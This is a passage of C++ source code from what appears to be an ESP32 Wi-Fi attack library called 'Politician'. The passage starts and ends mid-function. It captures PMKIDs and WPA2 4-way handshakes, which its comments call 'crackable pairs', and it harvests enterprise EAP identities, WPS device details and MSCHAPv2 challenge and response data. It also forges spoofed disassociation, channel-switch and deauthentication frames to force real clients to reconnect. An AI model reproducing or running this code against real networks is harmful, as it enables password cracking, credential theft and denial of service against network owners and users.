                    rec.is_full = (auth_seq == 2); // Confirm frame is the end of successful SAE exchange
                    
                    _eapolCb(rec);
                }
            }
        }
    } else if (subtype == MGMT_SUB_ASSOC_RESP) {
        if (len < 6 || !_eapolCb) return;
        const uint8_t *ie     = payload + 6;
        uint16_t       ie_len = (len > 6) ? len - 6 : 0;
        const uint8_t *bssid  = hdr->addr2;
        const uint8_t *sta    = hdr->addr1;
 
        uint16_t status = ((uint16_t)payload[2]) | ((uint16_t)payload[3] << 8);
        if (!_fishAssocLogged) {
            _fishAssocLogged = true;
            _log("[AssocResp] from %02X:%02X:%02X:%02X:%02X:%02X status=%d\n",
                bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], status);
        }
        if (status != 0) return;
 
        uint16_t pos = 0;
        while (pos + 2 <= ie_len) {
            uint8_t tag = ie[pos];
            uint8_t tlen = ie[pos + 1];
            if (pos + 2 + tlen > ie_len) break;
            if (tag == 48 && tlen >= 20) {
                const uint8_t *rsn = ie + pos + 2;
                uint16_t rlen = tlen;
                uint16_t off = 6;
                if (off + 2 > rlen) { pos += 2 + tlen; continue; }
                uint16_t pw_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8); off += 2;
                if (pw_cnt > 20 || off + pw_cnt * 4 > rlen) { pos += 2 + tlen; continue; }
                off += pw_cnt * 4;
                if (off + 2 > rlen) { pos += 2 + tlen; continue; }
                uint16_t akm_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8); off += 2;
                if (akm_cnt > 20 || off + akm_cnt * 4 > rlen) { pos += 2 + tlen; continue; }
                off += akm_cnt * 4;
                if (off + 4 > rlen) { pos += 2 + tlen; continue; }
                off += 2;
                uint16_t pmkid_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8); off += 2;
                if (pmkid_cnt > 0 && off + 16 <= rlen) {
                    const uint8_t *pmkid_raw = rsn + off;
                    bool pmkid_valid = false;
                    for (int pi = 0; pi < 16; pi++) if (pmkid_raw[pi]) { pmkid_valid = true; break; }
                    if (pmkid_valid) {
                        _stats.pmkid_found++; _stats.captures++;
                        _incCaptureCount(bssid);
                        HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
                        rec.type = CAP_PMKID; rec.channel = _rxChannel; rec.rssi = rssi;
                        memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
                        _lookupSsid(bssid, rec.ssid, rec.ssid_len);
                        _lookupEnc(bssid, rec.enc);
                        _lookupCipher(bssid, rec.cipher);
                        memcpy(rec.pmkid, pmkid_raw, 16);
                        _log("[PMKID] AssocResp BSSID=%02X:%02X:%02X:%02X:%02X:%02X\n",
                            bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
                        _markCaptured(bssid); _markCapturedSsidGroup(rec.ssid, rec.ssid_len);
                        if (_eapolCb) _eapolCb(rec);
                    }
                }
            }
            pos += 2 + tlen;
        }
    }
}
 
void Politician::_handleData(const ieee80211_hdr_t *hdr, const uint8_t *payload,
                              uint16_t len, int8_t rssi) {
    if (len < EAPOL_MIN_FRAME_LEN) return;
    if (payload[0] != 0xAA || payload[1] != 0xAA || payload[2] != 0x03) return;
    if (payload[3] != 0x00 || payload[4] != 0x00 || payload[5] != 0x00) return;
    if (payload[6] != EAPOL_ETHERTYPE_HI || payload[7] != EAPOL_ETHERTYPE_LO) return;
 
    _stats.eapol++;
    _channelTrafficSeen = true;
 
    bool toDS   = (hdr->frame_ctrl & FC_TODS_MASK)   != 0;
    bool fromDS = (hdr->frame_ctrl & FC_FROMDS_MASK)  != 0;
 
    const uint8_t *bssid;
    const uint8_t *sta;
 
    if (toDS && !fromDS) {
        bssid = hdr->addr1; sta = hdr->addr2;
    } else if (!toDS && fromDS) {
        bssid = hdr->addr2; sta = hdr->addr1;
    } else {
        bssid = hdr->addr3; sta = hdr->addr2;
    }
 
    const uint8_t *eapol = payload + EAPOL_LLC_SIZE;
    uint16_t eapol_len = len - EAPOL_LLC_SIZE;
 
    if (eapol_len >= 4) {
        if (eapol[1] == 0x00 && (_identityCb != nullptr || _wpsCb != nullptr
#ifndef POLITICIAN_NO_MSCHAPV2
            || _msChapCb != nullptr
#endif
        )) {
            if (eapol_len >= 9 && eapol[4] == 0x01 && eapol[8] > 0x01) {
                uint8_t method = eapol[8];
                bool found = false;
                for (uint8_t i = 0; i < MAX_EAP_METHODS; i++) {
                    if (memcmp(_eapMethods[i].bssid, bssid, 6) == 0) {
                        _eapMethods[i].method = method;
                        found = true;
                        break;
                    }
                }
                if (!found) {
                    uint8_t slot = _eapMethodIdx % MAX_EAP_METHODS;
                    memcpy(_eapMethods[slot].bssid, bssid, 6);
                    _eapMethods[slot].method = method;
                    _eapMethodIdx++;
                }
            }
            if (_identityCb != nullptr) _parseEapIdentity(bssid, sta, eapol, eapol_len, rssi);
            if (_wpsCb != nullptr)      _parseWpsFrame(bssid, sta, eapol, eapol_len, rssi);
#ifndef POLITICIAN_NO_MSCHAPV2
            if (_msChapCb != nullptr)   _parseEapMsChap(bssid, sta, eapol, eapol_len, rssi);
#endif
        } else if (eapol[1] == 0x03) {
            _parseEapol(bssid, sta, eapol, eapol_len, rssi);
        }
    }
}
 
bool Politician::_parseEapol(const uint8_t *bssid, const uint8_t *sta,
                              const uint8_t *eapol, uint16_t len, int8_t rssi) {
    if (_isCaptured(bssid)) return false;
    if (len < 4 || eapol[1] != 0x03) return false;
 
    // sta_filter: only process sessions involving the specified client MAC
    static const uint8_t zero_mac[6] = {};
    if (memcmp(_cfg.sta_filter, zero_mac, 6) != 0 && memcmp(sta, _cfg.sta_filter, 6) != 0) return false;
 
    const uint8_t *key = eapol + 4;
    uint16_t key_len   = len - 4;
    if (key_len < EAPOL_KEY_DATA_LEN + 2) return false;
    if (key[EAPOL_KEY_DESC_TYPE] != 0x02) return false; // Must be RSN/WPA2 descriptor
 
    uint16_t key_info = ((uint16_t)key[EAPOL_KEY_INFO] << 8) | key[EAPOL_KEY_INFO + 1];
    bool is_pairwise = (key_info & KEYINFO_PAIRWISE) != 0;
    if (!is_pairwise) {
        if (_cfg.capture_group_keys && _eapolCb) {
            HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
            rec.type = CAP_EAPOL_GROUP; rec.channel = _rxChannel; rec.rssi = rssi;
            memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
            _lookupSsid(bssid, rec.ssid, rec.ssid_len);
            _lookupEnc(bssid, rec.enc);
            _lookupCipher(bssid, rec.cipher);
            _log("[EAPOL] Group key handshake from %02X:%02X:%02X:%02X:%02X:%02X\n",
                bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
            _eapolCb(rec);
        }
        return false;
    }
 
    uint8_t msg = 0;
    if ( (key_info & KEYINFO_ACK) && !(key_info & KEYINFO_MIC) && !(key_info & KEYINFO_INSTALL)) msg = 1;
    else if (!(key_info & KEYINFO_ACK) && (key_info & KEYINFO_MIC) && !(key_info & KEYINFO_INSTALL) && !(key_info & KEYINFO_SECURE)) msg = 2;
    else if ((key_info & KEYINFO_ACK) && (key_info & KEYINFO_MIC) && (key_info & KEYINFO_INSTALL)) msg = 3;
    else if (!(key_info & KEYINFO_ACK) && (key_info & KEYINFO_MIC) && !(key_info & KEYINFO_INSTALL) && (key_info & KEYINFO_SECURE)) msg = 4;
 
    if (msg == 0) return false;
 
    _log("[EAPOL] M%d from %02X:%02X:%02X:%02X:%02X:%02X ch=%d rssi=%d\n",
        msg, bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], _rxChannel, rssi);
 
    if (msg == 3 || msg == 4) {
        _recordClientForAp(bssid, sta, rssi);
        
        // Refresh channel lock if we see M3/M4
        if (_hopping && _m1Locked) {
             _m1LockEndMs = millis() + _cfg.m1_lock_ms;
        }
 
        Session *sess = _findSession(bssid, sta);
        if (!sess) return true;
 
        if (msg == 3) {
            uint16_t store_len = (len < 256) ? len : 256;
            if (sess->m3_off + store_len <= sizeof(sess->eapol_buffer)) {
                memcpy(sess->eapol_buffer + sess->m3_off, eapol, store_len);
                sess->m3_len = store_len;
                sess->flags.has_m3 = true;
                sess->m4_off = sess->m3_off + store_len; // Advance M4 offset safely
            }
        } else if (msg == 4) {
            uint16_t store_len = (len < 256) ? len : 256;
            if (sess->m4_off + store_len <= sizeof(sess->eapol_buffer)) {
                memcpy(sess->eapol_buffer + sess->m4_off, eapol, store_len);
                sess->m4_len = store_len;
                sess->flags.has_m4 = true;
            }
 
            // Full Handshake sequence complete!
            if (sess->flags.has_m1 && sess->flags.has_m2) {
                HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
                rec.type = (_fishState == FISH_CSA_WAIT) ? CAP_EAPOL_CSA : CAP_EAPOL;
                rec.channel = sess->channel; rec.rssi = sess->rssi;
                memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
                rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc); _lookupCipher(bssid, rec.cipher);
                memcpy(rec.anonce, sess->anonce, 32); memcpy(rec.snonce, sess->snonce, 32);
                memcpy(rec.mic, sess->mic, 16); 
                memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len); rec.eapol_m2_len = sess->m2_len;
                memcpy(rec.eapol_m3, sess->eapol_buffer + sess->m3_off, sess->m3_len); rec.eapol_m3_len = sess->m3_len;
                memcpy(rec.eapol_m4, sess->eapol_buffer + sess->m4_off, sess->m4_len); rec.eapol_m4_len = sess->m4_len;
                rec.has_anonce = true; rec.has_snonce = sess->flags.has_m2; rec.has_mic = true;
                rec.has_m3 = sess->flags.has_m3; rec.has_m4 = true;
                rec.is_full = true;
 
                _log("[EAPOL] Full 4-Way Handshake captured for %02X:%02X:%02X:%02X:%02X:%02X\n",
                    bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
                
                if (_eapolCb) _eapolCb(rec);
                sess->flags.active = false; // Close session
            }
        }
        return true;
    }
 
    Session *sess = _findSession(bssid, sta);
    if (!sess) sess = _createSession(bssid, sta);
    if (!sess) return false;
 
    sess->channel = _rxChannel; sess->rssi = rssi;
 
    if (msg == 1) {
        bool isOurFishM1 = (_fishState != FISH_IDLE) && memcmp(bssid, _fishBssid, 6) == 0;
        if (!isOurFishM1 && !(_attackMask & ATTACK_PASSIVE)) return false;
 
        if (key_len < EAPOL_KEY_NONCE + 32) return false;
        memcpy(sess->anonce, key + EAPOL_KEY_NONCE, 32);
        memcpy(sess->m1_replay_counter, key + EAPOL_REPLAY_COUNTER, 8);
        sess->flags.has_m1 = true;
 
        if (_hopping && !_m1Locked) {
            _probeLocked = false; _m1Locked = true;
            _m1LockEndMs = millis() + _cfg.m1_lock_ms;
        }
        if (_m1Locked && memcmp(sta, _ownStaMac, 6) != 0) _m1LockEndMs = millis() + _cfg.m1_lock_ms;
 
        uint16_t kdata_len = ((uint16_t)key[EAPOL_KEY_DATA_LEN] << 8) | key[EAPOL_KEY_DATA_LEN + 1];
        if (kdata_len >= 18 && key_len >= EAPOL_KEY_DATA + kdata_len) {
            const uint8_t *kdata = key + EAPOL_KEY_DATA;
            for (uint16_t i = 0; i + 22 <= kdata_len; i++) {
                if (kdata[i] == 0xDD && kdata[i+2] == 0x00 && kdata[i+3] == 0x0F && kdata[i+4] == 0xAC && kdata[i+5] == 0x04) {
                    const uint8_t *pmkid_raw = kdata + i + 6;
                    bool pmkid_valid = false;
                    for (int pi = 0; pi < 16; pi++) if (pmkid_raw[pi]) { pmkid_valid = true; break; }
                    if (pmkid_valid) {
                        _stats.pmkid_found++; _stats.captures++;
                        _incCaptureCount(bssid);
                        HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
                        rec.type = CAP_PMKID; rec.channel = _rxChannel; rec.rssi = rssi;
                        memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
                        memcpy(rec.ssid, sess->ssid, sizeof(sess->ssid)); rec.ssid_len = sess->ssid_len;
                        _lookupEnc(bssid, rec.enc);
                        _lookupCipher(bssid, rec.cipher);
                        memcpy(rec.pmkid, pmkid_raw, 16);
                        _log("[PMKID] Found for %02X:%02X:%02X:%02X:%02X:%02X\n",
                            bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
                        _markCaptured(bssid); _markCapturedSsidGroup(sess->ssid, sess->ssid_len);
                        if (_eapolCb) _eapolCb(rec);
                    }
                    break;
                }
            }
        }
    } else if (msg == 2) {
        if (memcmp(sta, _ownStaMac, 6) == 0) return false;
        if (key_len < EAPOL_KEY_MIC + 16) return false;
        if (sess->flags.has_m1 && memcmp(key + EAPOL_REPLAY_COUNTER, sess->m1_replay_counter, 8) != 0) return false;
        
        // Refresh channel lock if we see M2
        if (_hopping && _m1Locked) {
             _m1LockEndMs = millis() + _cfg.m1_lock_ms;
        }
 
        memcpy(sess->mic, key + EAPOL_KEY_MIC, 16);
        if (key_len >= EAPOL_KEY_NONCE + 32) {
            memcpy(sess->snonce, key + EAPOL_KEY_NONCE, 32);
        }
 
        uint16_t store_len = (len < 256) ? len : 256;
        sess->m2_off = 0;
        memcpy(sess->eapol_buffer + sess->m2_off, eapol, store_len); sess->m2_len = store_len;
        if (store_len >= 4 + EAPOL_KEY_MIC + 16) memset(sess->eapol_buffer + sess->m2_off + 4 + EAPOL_KEY_MIC, 0, 16);
        
        // Prepare offsets for subsequent messages
        sess->m3_off = store_len;
        sess->m4_off = store_len; // Point M4 to the same offset. It will be advanced if M3 arrives first.
        
        bool is_new_m2 = !sess->flags.has_m2;
        sess->flags.has_m2 = true;
        _recordClientForAp(bssid, sta, rssi);
 
        if (sess->flags.has_m1) {
            static const uint8_t zero_mic[16] = {};
            if (memcmp(sess->mic, zero_mic, 16) == 0) {
                _log("[EAPOL] M2 MIC is zero — discarding malformed frame\n");
                sess->flags.active = false;
                return true;
            }
            uint32_t now_cap = millis();
            if (memcmp(bssid, _lastCapBssid, 6) == 0 && memcmp(sta, _lastCapSta, 6) == 0 &&
                (now_cap - _lastCapMs) < _cfg.session_timeout_ms) {
                // We already have a complete crackable pair for this recently, 
                // but we keep the session alive to capture M3/M4 if possible.
                return true;
            }
            HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
            rec.type = (_fishState == FISH_CSA_WAIT) ? CAP_EAPOL_CSA : CAP_EAPOL;
            rec.channel = sess->channel; rec.rssi = sess->rssi;
            memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
            rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc); _lookupCipher(bssid, rec.cipher);
            memcpy(rec.anonce, sess->anonce, 32); memcpy(rec.snonce, sess->snonce, 32);
            memcpy(rec.mic, sess->mic, 16); memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len);
            rec.eapol_m2_len = sess->m2_len; rec.has_anonce = true; rec.has_snonce = true; rec.has_mic = true;
            rec.is_full = false; // Crackable pair but not a full 4-way sequence
            
            _log("[EAPOL] Crackable pair (M1+M2) captured for %02X:%02X:%02X:%02X:%02X:%02X SSID=%s\n",
                bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], sess->ssid);
            
            _stats.captures++; 
            _incCaptureCount(bssid);
            memcpy(_lastCapBssid, bssid, 6); memcpy(_lastCapSta, sta, 6); _lastCapMs = now_cap;
            _markCaptured(bssid); _markCapturedSsidGroup(sess->ssid, sess->ssid_len);
            if (_eapolCb) _eapolCb(rec);
            
            // Session remains ACTIVE to potentially catch M3 and M4
        } else if (is_new_m2 && _cfg.capture_half_handshakes) {
            // M2 seen without a prior M1 — fire half-handshake callback then pivot to active attack
            HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
            rec.type = CAP_EAPOL_HALF;
            rec.channel = sess->channel; rec.rssi = sess->rssi;
            memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
            rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc); _lookupCipher(bssid, rec.cipher);
            memcpy(rec.mic, sess->mic, 16); memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len);
            rec.eapol_m2_len = sess->m2_len; rec.has_mic = true;
            _log("[EAPOL] Half-handshake (M2-only) for %02X:%02X:%02X:%02X:%02X:%02X SSID=%s — pivoting\n",
                bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], sess->ssid);
            if (_eapolCb) _eapolCb(rec);
 
            // Pivot to active attack to collect a complete handshake.
            // PMKID-only pivot is skipped: any M1 returned would be for our spoofed MAC,
            // not the real client's MAC in this session — the M2 can never be matched.
            // CSA/Deauth is required to force the real client to reconnect and produce M1.
            if (_fishState == FISH_IDLE) {
                if (!(_attackMask & (ATTACK_CSA | ATTACK_DEAUTH))) {
                    _log("[EAPOL] Half-handshake pivot skipped — CSA/Deauth required to complete capture\n");
                } else {
                    memcpy(_fishBssid, bssid, 6);
                    memcpy(_fishSsid, sess->ssid, sess->ssid_len); _fishSsid[sess->ssid_len] = '\0';
                    _fishSsidLen = sess->ssid_len; _fishChannel = sess->channel; _fishStartMs = millis();
                    memcpy(_fishSta, sta, 6); // STA is known from the M2
                    for (int ci = 0; ci < MAX_AP_CACHE; ci++) {
                        if (_apCache[ci].flags.active && memcmp(_apCache[ci].bssid, bssid, 6) == 0) {
                            _apCache[ci].last_attack_ms = _fishStartMs;
                            break;
                        }
                    }
                    _fishState = FISH_CSA_WAIT; _csaSecondBurstSent = false;
                    _csaFallbackMs = 0;
                    if (_attackMask & ATTACK_CSA) _sendCsaBurst();
                    if (_disconnectStrategy == STRATEGY_SIMULTANEOUS) {
                        if (_attackMask & ATTACK_DEAUTH) _sendDeauthBurst((_attackMask & ATTACK_CSA) ? _cfg.csa_deauth_count : _cfg.deauth_burst_count, sta);
                    } else if (_disconnectStrategy == STRATEGY_AUTO_FALLBACK) {
                        if ((_attackMask & ATTACK_CSA) && (_attackMask & ATTACK_DEAUTH)) {
                            // Trigger fallback Deauth *before* the second CSA burst (which happens at 2000ms)
                            _csaFallbackMs = millis() + 1000;
                        } else if (_attackMask & ATTACK_DEAUTH) {
                            _sendDeauthBurst(_cfg.deauth_burst_count, sta);
                        }
                    }
                    _probeLocked = true; _probeLockEndMs = millis() + _cfg.csa_wait_ms;
                }
            }
        }
    }
    return true;
}
 
void Politician::_parseEapIdentity(const uint8_t *bssid, const uint8_t *sta,
                                   const uint8_t *eapol, uint16_t len, int8_t rssi) {
    // EAP Header starts at eapol+4. Minimum needed: Code(1), Id(1), Len(2), Type(1)
    if (len < 9) return;
 
    // EAP Code Check (We want 2 = Response)
    if (eapol[4] != 0x02) return;
 
    // EAP Type Check (We want 1 = Identity)
    if (eapol[8] != 0x01) return;
 
    uint16_t eap_len = ((uint16_t)eapol[6] << 8) | eapol[7];
    if (eap_len < 5) return;
 
    // The plaintext Identity string is defined as everything after the Type byte.
    uint16_t id_len = eap_len - 5;
 
    // Safety boundary check
    if (9 + id_len > len) return;
    
    EapIdentityRecord rec;
    memset(&rec, 0, sizeof(rec));
    memcpy(rec.bssid, bssid, 6);
    memcpy(rec.client, sta, 6);
    rec.channel = _rxChannel;
    rec.rssi = rssi;
    rec.eap_method = EAP_METHOD_IDENTITY;
    for (uint8_t i = 0; i < MAX_EAP_METHODS; i++) {
        if (memcmp(_eapMethods[i].bssid, bssid, 6) == 0 && _eapMethods[i].method != 0) {
            rec.eap_method = _eapMethods[i].method;
            break;
        }
    }
    
    uint16_t copy_len = (id_len < 64) ? id_len : 64;
    memcpy(rec.identity, eapol + 9, copy_len);
    rec.identity[copy_len] = '\0';
    
    _log("[Enterprise] Harvested Identity '%s' from %02X:%02X:%02X:%02X:%02X:%02X\n",
         rec.identity, sta[0], sta[1], sta[2], sta[3], sta[4], sta[5]);
         
    if (_identityCb) _identityCb(rec);
}
 
void Politician::_parseWpsFrame(const uint8_t *bssid, const uint8_t *sta,
                                 const uint8_t *eapol, uint16_t len, int8_t rssi) {
    // EAP-WSC layout (starting from eapol[0] which is the EAPOL version byte):
    // eapol[0-3]: EAPOL header (ver, type=0x00, length 2B)
    // eapol[4]:   EAP Code (2 = Response)
    // eapol[5]:   EAP Id
    // eapol[6-7]: EAP Length
    // eapol[8]:   EAP Type = 0xFE (Expanded Types)
    // eapol[9-11]:  Vendor-Id  = 00:37:2A (Wi-Fi Alliance)
    // eapol[12-15]: Vendor-Type = 00:00:00:01 (WSC)
    // eapol[16]:  Op-Code (0x04 = WSC_MSG)
    // eapol[17]:  Flags (bit1 = More Fragments → 2B Message Length follows)
    // eapol[18+]: WSC TLV data (or eapol[20+] if MF bit set)
 
    if (len < 18) return;
    if (eapol[4] != 0x02) return;  // Response only (Enrollee → AP)
    if (eapol[8] != 0xFE) return;  // Expanded EAP type
    // Vendor-Id: Wi-Fi Alliance
    if (eapol[9] != 0x00 || eapol[10] != 0x37 || eapol[11] != 0x2A) return;
    // Vendor-Type: WSC (00 00 00 01)
    if (eapol[12] != 0x00 || eapol[13] != 0x00 || eapol[14] != 0x00 || eapol[15] != 0x01) return;
    if (eapol[16] != 0x04) return;  // WSC_MSG only
 
    uint16_t tlv_offset = 18;
    if (eapol[17] & 0x02) tlv_offset += 2;  // MF bit: Message Length field present
    if (tlv_offset >= len) return;
 
    const uint8_t *tlv = eapol + tlv_offset;
    uint16_t tlv_len = len - tlv_offset;
 
    // First pass: confirm Message Type TLV (0x104A) = M1 (0x04)
    uint8_t msg_type = 0;
    uint16_t pos = 0;
    while (pos + 4 <= tlv_len) {
        uint16_t attr_type = ((uint16_t)tlv[pos] << 8) | tlv[pos + 1];
        uint16_t attr_len  = ((uint16_t)tlv[pos + 2] << 8) | tlv[pos + 3];
        if (pos + 4 + attr_len > tlv_len) break;
        if (attr_type == 0x104A && attr_len >= 1) { msg_type = tlv[pos + 4]; break; }
        pos += 4 + attr_len;
    }
    if (msg_type != 0x04) return;  // Not M1
 
    WpsRecord rec; memset(&rec, 0, sizeof(rec));
    memcpy(rec.bssid, bssid, 6);
    memcpy(rec.sta, sta, 6);
    rec.channel = _rxChannel;
    rec.rssi = rssi;
 
    // Second pass: extract device attributes
    pos = 0;
    while (pos + 4 <= tlv_len) {
        uint16_t attr_type = ((uint16_t)tlv[pos] << 8) | tlv[pos + 1];
        uint16_t attr_len  = ((uint16_t)tlv[pos + 2] << 8) | tlv[pos + 3];
        if (pos + 4 + attr_len > tlv_len) break;
        const uint8_t *val = tlv + pos + 4;
 
        auto cpStr = [](char *dst, size_t dsz, const uint8_t *src, uint16_t slen) {
            uint16_t n = (slen < (uint16_t)(dsz - 1)) ? slen : (uint16_t)(dsz - 1);
            memcpy(dst, src, n); dst[n] = '\0';
        };
 
        switch (attr_type) {
            case 0x1011: cpStr(rec.device_name,   sizeof(rec.device_name),   val, attr_len); break;
            case 0x1021: cpStr(rec.manufacturer,  sizeof(rec.manufacturer),  val, attr_len); break;
            case 0x1023: cpStr(rec.model_name,    sizeof(rec.model_name),    val, attr_len); break;
            case 0x1024: cpStr(rec.model_number,  sizeof(rec.model_number),  val, attr_len); break;
            case 0x1042: cpStr(rec.serial_number, sizeof(rec.serial_number), val, attr_len); break;
            case 0x1004: if (attr_len >= 2) rec.auth_type_flags     = ((uint16_t)val[0] << 8) | val[1]; break;
            case 0x1008: if (attr_len >= 2) rec.config_methods      = ((uint16_t)val[0] << 8) | val[1]; break;
            case 0x103C: if (attr_len >= 1) rec.rf_bands            = val[0]; break;
            case 0x1054: if (attr_len >= 2) rec.primary_dev_type_cat = ((uint16_t)val[0] << 8) | val[1]; break;
            default: break;
        }
        pos += 4 + attr_len;
    }
 
    _log("[WPS] M1 from %02X:%02X:%02X:%02X:%02X:%02X dev='%s' mfr='%s' model='%s'\n",
         sta[0], sta[1], sta[2], sta[3], sta[4], sta[5],
         rec.device_name, rec.manufacturer, rec.model_name);
 
    if (_wpsCb) _wpsCb(rec);
}
 
void Politician::_sendBtmRequest(const uint8_t *bssid, const uint8_t *sta) {
    // 802.11v BSS Transition Management Request (Action frame, FC=0xD0 0x00)
    // Category 0x0A (WNM), Action 0x07, Request Mode bit2 = Disassociation Imminent
    uint8_t frame[32];
    int p = 0;
    frame[p++] = 0xD0; frame[p++] = 0x00;  // FC: Action
    frame[p++] = 0x00; frame[p++] = 0x00;  // Duration
    memcpy(frame + p, sta,   6); p += 6;    // DA: target client
    memcpy(frame + p, bssid, 6); p += 6;   // SA: spoofed as AP
    memcpy(frame + p, bssid, 6); p += 6;   // BSSID
    frame[p++] = 0x00; frame[p++] = 0x00;  // Sequence Control
    frame[p++] = 0x0A;                      // Category: WNM
    frame[p++] = 0x07;                      // Action: BSS Transition Management Request
    frame[p++] = 0x01;                      // Dialog Token (non-zero)
    frame[p++] = 0x04;                      // Request Mode: Disassociation Imminent (bit 2)
    uint16_t timer = _cfg.btm_disassoc_timer;
    frame[p++] = (uint8_t)(timer & 0xFF);
    frame[p++] = (uint8_t)(timer >> 8);
    frame[p++] = 0x01;                      // Validity Interval (1 TBTT)
    esp_wifi_80211_tx(WIFI_IF_AP, frame, p, false);
}
 
#ifndef POLITICIAN_NO_MSCHAPV2
void Politician::_parseEapMsChap(const uint8_t *bssid, const uint8_t *sta,
                                   const uint8_t *eapol, uint16_t len, int8_t rssi) {
    // EAP frame layout:
    //  eapol[0-3]: EAPOL header (version, type=0x00, body-length 2B)
    //  eapol[4]:   EAP Code (1=Request from AP, 2=Response from client)
    //  eapol[5]:   EAP Identifier
    //  eapol[6-7]: EAP Length (big-endian, includes code+id+len bytes)
    //  eapol[8]:   EAP Type = 0x1A (MSCHAPv2)
    //  eapol[9]:   MS-CHAPv2 OpCode (1=Challenge, 2=Response)
    //  eapol[10]:  MS-CHAPv2 MS-Identifier
    //  eapol[11-12]: MS-Length (big-endian)
    //  Challenge (OpCode=1): eapol[13]=ValueSize(16), eapol[14-29]=Challenge, eapol[30+]=APName
    //  Response  (OpCode=2): eapol[13]=ValueSize(49), eapol[14-29]=PeerChallenge, eapol[30-37]=Reserved,
    //                         eapol[38-61]=NT-Response, eapol[62]=Flags, eapol[63+]=Username
 
    if (len < 13) return;
    if (eapol[8] != 0x1A) return;  // Must be EAP-MSCHAPv2
 
    uint8_t eap_code  = eapol[4];
    uint8_t eap_id    = eapol[5];
    uint8_t mschap_op = eapol[9];
    uint8_t ms_id     = eapol[10];
 
    if (mschap_op == 0x01 && eap_code == 0x01) {
        // AP → Client: MSCHAPv2 Challenge — store the server challenge
        if (len < 30) return;
        if (eapol[13] != 16) return;  // Value-Size must be 16
 
        // Find or create a session slot
        int slot = -1;
        for (int i = 0; i < MAX_MSCHAP_SESSIONS; i++) {
            if (!_msChapSessions[i].active) { slot = i; break; }
            // Reuse oldest matching BSSID+ms_id
            if (memcmp(_msChapSessions[i].bssid, bssid, 6) == 0 && _msChapSessions[i].ms_id == ms_id) {
                slot = i; break;
            }
        }
        if (slot == -1) slot = 0;  // Evict slot 0 if full
 
        _msChapSessions[slot].active = true;
        memcpy(_msChapSessions[slot].bssid, bssid, 6);
        _msChapSessions[slot].ms_id = ms_id;
        memcpy(_msChapSessions[slot].challenge, eapol + 14, 16);
        _log("[MSCHAPv2] Challenge from %02X:%02X:%02X:%02X:%02X:%02X ms_id=%d\n",
             bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], ms_id);
        return;
    }
 
    if (mschap_op == 0x02 && eap_code == 0x02) {
        // Client → AP: MSCHAPv2 Response — find the matching challenge
        if (len < 64) return;
        if (eapol[13] != 49) return;  // Value-Size must be 49
 
        int slot = -1;
        for (int i = 0; i < MAX_MSCHAP_SESSIONS; i++) {
            if (_msChapSessions[i].active &&
                memcmp(_msChapSessions[i].bssid, bssid, 6) == 0 &&
                _msChapSessions[i].ms_id == ms_id) {
                slot = i; break;
            }
        }
        if (slot == -1) return;  // No matching challenge
 
        MsChapRecord rec; memset(&rec, 0, sizeof(rec));
        memcpy(rec.bssid, bssid, 6);
        memcpy(rec.sta,   sta,   6);
        rec.channel = _rxChannel;
        rec.rssi    = rssi;
        memcpy(rec.server_challenge, _msChapSessions[slot].challenge, 16);
        memcpy(rec.peer_challenge,   eapol + 14, 16);
        memcpy(rec.nt_response,      eapol + 38, 24);
 
        // Username is everything after the Flags byte (eapol[62])
        uint16_t uname_off = 63;
        uint16_t uname_len = (len > uname_off) ? (len - uname_off) : 0;
        if (uname_len > 64) uname_len = 64;
        memcpy(rec.username, eapol + uname_off, uname_len);
        rec.username[uname_len] = '\0';
 
        _msChapSessions[slot].active = false;
 
        _log("[MSCHAPv2] Response user='%s' from %02X:%02X:%02X:%02X:%02X:%02X\n",
             rec.username, sta[0], sta[1], sta[2], sta[3], sta[4], sta[5]);
 
        if (_msChapCb) _msChapCb(rec);
    }
}
#endif
 
void Politician::_parseSsid(const uint8_t *ie, uint16_t ie_len, char *out, uint8_t &out_len) {
    out[0]  = '\0'; out_len = 0; uint16_t pos = 0;
    while (pos + 2 <= ie_len) {
        uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
        if (pos + 2 + len > ie_len) break;
        if (tag == 0 && len > 0 && len <= 32) {
            memcpy(out, ie + pos + 2, len); out[len] = '\0'; out_len = len; return;
        }
        pos += 2 + len;
    }
}
 
uint8_t Politician::_classifyEnc(const uint8_t *ie, uint16_t ie_len) {
    bool has_rsn = false, has_wpa = false, is_enterprise = false, is_owe = false;
    uint16_t pos = 0;
    while (pos + 2 <= ie_len) {
        uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
        if (pos + 2 + len > ie_len) break;
        
        if (tag == 48) {
            has_rsn = true;
